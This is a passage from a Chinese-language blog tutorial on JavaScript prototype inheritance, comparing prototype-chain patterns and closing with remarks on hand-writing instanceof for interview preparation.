这种方式只继承了属性,没有把原型链连起来。所以 cat instanceof Animal 会是 false。如果你需要原型方法,就得配合后面两种方式用。

2. prototype 模式(推荐)

function Animal() {
  this.species = '动物';
}
function Cat(name, color) {
  this.name = name;
  this.color = color;
}

// 关键两步
Cat.prototype = new Animal();
Cat.prototype.constructor = Cat; // 修复 constructor 指向

const cat = new Cat('小黑', '黑色');
console.log(cat instanceof Cat);    // true
console.log(cat instanceof Animal); // true

这里 Cat.prototype 直接指向一个 Animal 实例,原型链就连上了。记得一定要把 constructor 指回来,不然 cat.constructor 会指向 Animal,容易出 bug。

3. 直接继承 prototype(有坑)

function Animal() {}
Animal.prototype.species = '动物';

function Cat(name, color) {
  Animal.call(this);
  this.name = name;
  this.color = color;
}

Cat.prototype = Animal.prototype; // 直接引用
Cat.prototype.constructor = Cat;
Cat.prototype.sayHello = function() {
  console.log('hello');
};

const cat = new Cat('小黑', '黑色');
console.log(cat instanceof Cat);    // true
console.log(cat instanceof Animal); // true
console.log(Animal.prototype.constructor); // 变成了 Cat(副作用!)

这种写法性能好(不用 new 一个 Animal 实例),但会污染父类的 prototype。如果你在 Cat.prototype 上加方法,Animal 也能拿到,容易出意外。实际项目里还是推荐用第 2 种,或者用 Object.create(Animal.prototype) 做中介(空对象继承)。

结尾

手写 instanceof 其实就这么简单,核心就是遍历原型链。写完之后,你会对 JS 对象“到底是谁生的”这件事有更直观的理解。在大型项目里,它能帮你快速做类型守护、写工具函数,或者在框架里判断组件类型。

当然,原生 instanceof 已经够用了,我们手写主要是为了加深理解。下次再遇到“这个对象为啥有这个方法”“继承关系乱了”的时候,你就可以顺着 __proto__ 链自己排查了。

如果你也正在看原型链和继承,欢迎评论区一起讨论~代码我都放上去了,直接复制就能跑。希望这篇文章能让你少踩几个坑!并且希望你在面试的时候能拿下instanceof这一难点。早日拿下offer!

❌